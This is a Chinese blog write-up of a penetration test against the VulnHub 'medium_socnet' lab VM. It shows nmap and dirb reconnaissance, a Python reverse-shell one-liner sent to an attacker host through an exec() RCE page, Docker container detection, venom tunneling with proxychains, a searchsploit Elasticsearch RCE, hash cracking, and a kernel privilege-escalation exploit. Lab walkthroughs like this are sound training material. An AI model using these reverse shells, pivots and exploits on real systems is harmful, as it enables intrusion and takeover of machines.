freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Medium_socnet渗透测试(含docker容器)
2023-12-19 10:40:25

环境:

攻击机:kali-linux-2022.3-vmware-amd64,    IP:192.168.56.101

靶机:medium_socnet(搭建在Virtualbox上面)    IP:192.168.56.106

靶机难度:中等

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

一、主机发现

使用nmap扫描工具进行主机发现:

1702951332_6580f9a4004513e8b02ae.png!small?1702951330895

发现192.168.56.106为新增加的IP,即为靶机IP。

二、端口扫描:(探测开放的端口,相关端口运行的服务信息)

1702951389_6580f9dd9e1f941167d9c.png!small?1702951388405

可以看到靶机开放了22,5000端口,进一步探测相关服务信息:

1702951412_6580f9f498d8363f130f9.png!small?1702951411728

其中,-sT指定以tcp协议进行扫描,-sV探测服务版本,-O探测操作系统的版本。可以看到,22端口运行着ssh服务,5000端口运行着python环境的http服务,其中,5000端口上面的werkzeug(Werkzeug是Python的WSGI规范的实用函数库。使用广泛,基于BSD协议)。

三、查看5000端口的web界面

1702951472_6580fa301d5aed4166aba.png!small?1702951470979

可以看到一个输入框,我们输入的数据都会显示出来,这个输入框不存在注入以及xss。

四、web目录爆破

网页没有提供太多信息,无账号密码的话22端口不能直接应用,所以将目光转向web目录,使用dirb工具对网站其他路径进行探测

1702951523_6580fa63cd2b9c68df85e.png!small?1702951522761

发现一个admin路径,使用浏览器打开界面如下:

1702951551_6580fa7f44b163aa458a9.png!small?1702951549913

界面提示我们会将我们输入的代码执行exec()函数,也就是说这个界面存在rce漏洞。

五、获取反弹shell:

由于在端口服务探测的时候发现5000端口的http服务是基于python环境的,所以他一定可以执行python代码,在网上找一段python反弹shell的一句话脚本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali.ip",kail.port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这段代码是一个python反弹shell一句话脚本,其中的python -c指一个命令行选项,这里我们是在一个可以直接执行python语句的环境中,所以不需要python -c参数,反弹shell代码如下:

Import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali.ip",kail.port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

本地开启监听,反弹shell成功。

1702951680_6580fb003e1d333c7312f.png!small?1702951678954

1702951663_6580faefadfb1cf2cdbd7.png!small?1702951662367

六、信息收集

反弹shell以后发现直接就是root权限,有点受宠若惊,查看IP以后才发现IP地址并不是靶机的IP地址。

1702951709_6580fb1dee89bc7952e47.png!small?1702951708928

查看文件以后发现存在一个名为Dockerfile文件,怀疑我们现在取得的shell是一个搭建在靶机的docker容器上面的机器一个shell。

1702951734_6580fb363ce815722a2e2.png!small?1702951733204

【针对这个问题,有两个方法进行判断:

  • 、查看根目录下是否存在dockerenv隐藏文件,这个文件是给docker配置环境变量的文件,如在这台靶机上执行结果如下

1702951762_6580fb523446f42c8153a.png!small?1702951761028

可以看到cat语句并没有报文件不存在的错误,则说明这个文件确实存在。

  • 、查看/proc/1/cgroup文件,linux系统启动后,1这个pid代表了计算机系统初始化进程的id,当初始化进程的id的cgroup文件中包含了docker映像主机的指示信息的话,就证明目前取得root的时docker容器,如靶机执行结果如下:1702951850_6580fbaad0bc360531f79.png!small?1702951849605

七、内网其他机器的发现

行ping命令,但是这里的地址显示当前网段存在65536个IP地址,实战中应该都扫描一遍,但是这里是靶机,只扫描前几个就行,这里为了实现自动化,可以编写一个bash脚本:

for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done

其中使用了for循环,seq函数功能是输出连续数字,-c 命令指执行次数 。执行结果如下:

1702951916_6580fbec4254fcad34e89.png!small?1702951914970

只有1、 2、 3三个地址是存在的,继续进行测试。

八、内网穿透:

由于这些主机都是在内网环境里面,kali并不能直接对这些主机进行探测,所以要使用内网穿透技术,打通kali和内网主机的连接,可以使用venom进行内网穿透,本地搭建http简易服务器,靶机上面下载客户端程序,本地执行服务端程序,等待反应。

1702951980_6580fc2c0eb61d0b1cbf3.png!small?1702951979209

1702951994_6580fc3a5ea07bac8a7dc.png!small?1702951993155

1702952007_6580fc47579d5d2584e93.png!small?1702952006255

靶机下载客户端程序,赋权以后执行,本地即可。

1702952028_6580fc5ce00384dfa6b7f.png!small?1702952027651

1702952040_6580fc683b475abc4d328.png!small?1702952038817

1702952058_6580fc7a1059c3ee11267.png!small?1702952057185

1702952074_6580fc8a8121e4f6c04c1.png!small?1702952073157

九、本地相关配置:

本地查看发现节点1存在,进入到节点1,在本地开启一个socks侦听的代理,为了使kali中的工具脚本都可以使用这个代理,我们还需要使用工具proxychains工具,该工具可以挂载代理,修改proxychains配置文件,修改代理类型和代理端口:1702952099_6580fca3bdc34d072f766.png!small?1702952098470

1702952112_6580fcb08be9d814db798.png!small?1702952111170

十、内网机器端口探测:

工具使用建立的代理进行连接就可以实现对内网机器的端口扫描。

1702952150_6580fcd61756e80f4012b.png!small?1702952148932

1702952159_6580fcdfe35147098d0a1.png!small?1702952158529

【解释一下为什么使用-Pn参数:当使用nmap扫描内网主机时,使用-Pn参数可以禁用主机的Ping扫描,这意味着即使主机没有响应ping请求,nmap仍然会尝试扫描该主机。这对于检测隐藏主机或防火墙阻止ping扫描的情况非常有用】

发现这台主机开放的端口和靶机端口一致,对端口服务进行探测,

1702952186_6580fcfa904fe4a7dd5cb.png!small?1702952185198

1702952199_6580fd0721b9713e37d7d.png!small?1702952198025

这里发现和靶机的服务完全一致,这里给浏览器也配置一个我们生成的代理,访问一下这台主机的5000端口,发现和我们靶机浏览器界面一模一样。

1702952219_6580fd1b2abf8d27c39d1.png!small?1702952217853

(这里浏览器的代理设置我使用的是火狐的一个插件)

1702952237_6580fd2dcdf42dd83c6dd.png!small?1702952236534

(这里其实是有显示我们之前输入的12312123数据的,只是在测试过程中代理出了问题,重启了靶机,所以没有那条记录)

种种情况说明这台172.17.0.1就是192.168.45.106这台机器,只不过这个ip是他面向docker容器内网的IP,所以这个IP就是要攻击的目标主机的IP了。

十一、探测内网另一台主机及漏洞利用

对172.17.0.2进行扫描,结果如下:

1702952276_6580fd54ed5d01db394d8.png!small?1702952275772

1702952286_6580fd5ee42b2b2054590.png!small?1702952285629

在9200端口上运行了Elasticsearch服务,搜索可知Elasticsearch曾经出现过很多严重的RCE漏洞,使用searchsploit进行漏洞利用脚本搜索,

1702952311_6580fd774810d5490f67b.png!small?1702952310042

查看利用文件,发现使用了python2,运行脚本文件,成功得到反弹shell。

1702952334_6580fd8e3b42ea8377e62.png!small?1702952333364

1702952344_6580fd98dbaa76e879e09.png!small?1702952343550

执行脚本以后发现又是一个root权限,肯定又是docker容器,

十二、信息收集:

发现了一个password文件,打开看看,里面是一些应户名和密码哈希值。

1702952372_6580fdb4af14a091c04c6.png!small?1702952371577

放到在线解密网站进行md5解密,发现john对应的密码为1337hack,使用ssh进行连接(这里由于用户不多,可以直接尝试,如果账号密码多的话应该进行密码喷射,这里只有这个john和1337hack是可以利用的),登陆靶机的ssh。

1702952397_6580fdcd1fb756f8c29b1.png!small?1702952395849

十三、提权

登陆以后使用sudo -l参数查看发现没有特殊权限。

1702952428_6580fdec1dea1b38c5685.png!small?1702952426905

尝试使用内核提权,内核版本为3.13。

1702952452_6580fe04b58dee144d971.png!small?1702952451431

是用本地漏洞库进行搜索,发现有很多利用文件,我们使用其中一个。

1702952469_6580fe15cda67ef97fc3f.png!small?1702952468430

这是一个c语言的代码,编译他需要gcc,但是发现靶机上面并没有安装gcc。

1702952490_6580fe2a5da21aa756dc9.png!small?1702952489380

所以应该在本机上面编译以后在传送到靶机上面,这里阅读一下这个文件,发现问题如下:

1702952508_6580fe3c30f961adbee4d.png!small?1702952506933

这里前面已经调用了gcc进行编译,这这里再一次调用gcc查找了一个库文件,并且将库文件编译成为相应的so文件,即二进制共享库文件,整个利用代码运行以后会再次调用库文件,即即使我们在本机编译了这个文件,也会再次调用gcc编译一个C语言的库文件,在kali中找到这个库文件进行编译,当代码执行到这里的时候就直接调用相应文件,跳过编译的语句,对代码进行修改:

1702952525_6580fe4d3a056fe08d0cf.png!small?1702952524002

对文件进行编译,报错不影响运行。

1702952548_6580fe64e8b07693f21d4.png!small?1702952547710

找到本机的ofs-lib.so文件,

1702952568_6580fe78182996ce7d5c2.png!small?1702952567081

本机开启一个http服务,靶机将两个文件下载下来

1702952586_6580fe8a6c9a8a6805d75.png!small?1702952585567

放到tmp目录下,赋权,运行,获取root权限(普通用户在tmp目录下有很大权限)

1702952604_6580fe9cc32f0203d1a66.png!small?1702952604169

1702952617_6580fea9a6675408ee660.png!small?1702952616700

渗透测试完成。

补充:

在最后提权阶段具有可能遇到如下情况:

1702952653_6580fecd5ba43dc09f4e3.png!small?1702952652055

这里给出解决方案的地址:

(http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb)

1702952710_6580ff06dd1695da6ec62.png!small?1702952709666

声明:

本文为原创,是根据苑房宏老师在2021年发布的打靶课写的,里面一切用到的脚本及文件都是苑老师在课程中提及的,本文也对一些常见的操作进行了细化,如搭建kali的全局代理等。同时因为课程是2021年发布的,本人打靶时间为2023年,所以会有一些语言环境版本迭代的问题导致的错误,都已经在结尾处的补充提供了相应资料。希望大家多多支持,我会在后续继续更新这套课程的打靶文章。谢谢!


# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录